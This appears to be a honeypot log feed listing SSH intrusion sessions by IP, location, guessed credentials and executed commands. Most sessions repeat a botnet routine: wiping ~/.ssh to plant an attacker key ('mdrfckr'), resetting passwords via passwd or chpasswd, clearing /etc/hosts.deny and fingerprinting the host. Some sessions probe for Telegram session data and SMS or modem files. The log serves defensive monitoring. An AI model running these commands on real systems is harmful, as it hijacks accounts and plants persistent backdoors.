$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "git2026\n8a69e4se0rZG\n8a69e4se0rZG"|passwd|bash

$ Enter new UNIX password:

$ echo "git2026\n8a69e4se0rZG\n8a69e4se0rZG\n"|passwd

🎭 chai (143.110.251.21) — Bengaluru, India · 1 session · 20 cmds

2026-07-05 17:26 EDT · as git/git2026

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "git2026\ndSUtm97vt8Of\ndSUtm97vt8Of"|passwd|bash

$ Enter new UNIX password:

$ echo "git2026\ndSUtm97vt8Of\ndSUtm97vt8Of\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_25 (171.244.143.209) — Hanoi, Vietnam · 1 session · 19 cmds

2026-07-05 17:03 EDT · as root/adminroot123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:moiW96rBm1P4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 frost_root_3 (178.209.97.14) — Moscow, Russia · 1 session · 20 cmds

2026-07-05 17:03 EDT · as www-data/test123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "test123\nX1DtLFcgwTDI\nX1DtLFcgwTDI"|passwd|bash

$ Enter new UNIX password:

$ echo "test123\nX1DtLFcgwTDI\nX1DtLFcgwTDI\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_31 (139.99.74.35) — Singapore, Singapore · 1 session · 1 cmd

2026-07-05 16:58 EDT · as root/root@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a && echo "====" && cat /etc/os-release

🎭 phantom_root_32 (2.26.0.248) — Helsinki, Finland · 1 session · 1 cmd

2026-07-05 15:07 EDT · as root/1234567

echo

$ echo SHELL_TEST

🎭 shadow_root_3 (195.178.110.228) — Andorra la Vella, Andorra · 2 sessions · 18 cmds

2026-07-04 21:10 EDT · as root/12345, root/123456

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null ×2

$ /bin/uname -s -v -n -m 2 > /dev/null ×2

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×2

$ busybox uname -s -v -n -m 2 > /dev/null ×2

$ ( [ -f /proc/version ] ×2

$ [ -f /proc/version ] ×2

$ head -1 /proc/version | cut -d -f1 ×2

$ [ -f /etc/os-release ] ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 lotus_root (103.149.197.34) — Pune, India · 1 session · 1 cmd

2026-07-05 13:43 EDT · as root/nat.ee

ls

$ ls -la /

🎭 kimchi_root_3 (61.84.211.107) — Gwangju, South Korea · 1 session · 9 cmds

2026-07-05 08:34 EDT · as root/123456

ls

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 wraith_root_5 (77.105.130.18) — Helsinki, Finland · 2 sessions · 38 cmds

2026-06-30 11:30 EDT · as root/abc12345@, root/admin+123

ls

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:t2Cft53Ln1VY"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:r1SrYfHjeUPg"|chpasswd|bash

🎭 specter_root_24 (113.171.81.144) — Hanoi, Vietnam · 1 session · 19 cmds

2026-07-05 07:40 EDT · as root/admin+123

ls

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:vXUkj0lFza05"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_28 (157.66.26.151) — Go Vap, Vietnam · 1 session · 20 cmds

2026-07-05 06:57 EDT · as developers/developers

ls

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "developers\nXIjPphUebRG7\nXIjPphUebRG7"|passwd|bash

$ Enter new UNIX password:

$ echo "developers\nXIjPphUebRG7\nXIjPphUebRG7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_11 (116.62.220.96) — Hangzhou, China · 1 session · 1 cmd

2026-07-05 06:15 EDT · as root/1234567

cat

$ cat /bin/echo

🎭 phantom_root_18 (148.216.28.11) — Morelia, Mexico · 2 sessions · 40 cmds

2026-07-05 05:56 EDT · as ftp/1234, jump/jump

cat

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "jump\nOOBBuBcP1DJ8\nOOBBuBcP1DJ8"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "jump\nOOBBuBcP1DJ8\nOOBBuBcP1DJ8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "1234\n3AQi5Kp7pYG3\n3AQi5Kp7pYG3"|passwd|bash

$ echo "1234\n3AQi5Kp7pYG3\n3AQi5Kp7pYG3\n"|passwd

🎭 shadow_root_21 (213.225.11.46) — Vienna, Austria · 1 session · 20 cmds

2026-07-05 05:55 EDT · as jump/jump

cat

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "jump\nN1DCSuPT6OSt\nN1DCSuPT6OSt"|passwd|bash

$ Enter new UNIX password:

$ echo "jump\nN1DCSuPT6OSt\nN1DCSuPT6OSt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_11 (66.154.104.39) — St Louis, United States · 2 sessions · 38 cmds

2026-07-05 05:12 EDT · as root/qq.123321, root/root9

cat

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:k2m26VkcTbDO"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:zMZ9N6NejF2Y"|chpasswd|bash

🎭 ramen_root_4 (107.155.15.8) — Tokyo, Japan · 2 sessions · 38 cmds

2026-07-05 05:08 EDT · as root/qq.123321, root/root9

cat

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:wZQFynqCE9Wj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:BdY3cjIjmysc"|chpasswd|bash

🎭 ghost_root_25 (60.199.224.2) — Taipei, Taiwan · 2 sessions · 38 cmds

2026-07-05 05:10 EDT · as root/qq.123321, root/root9

cat

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

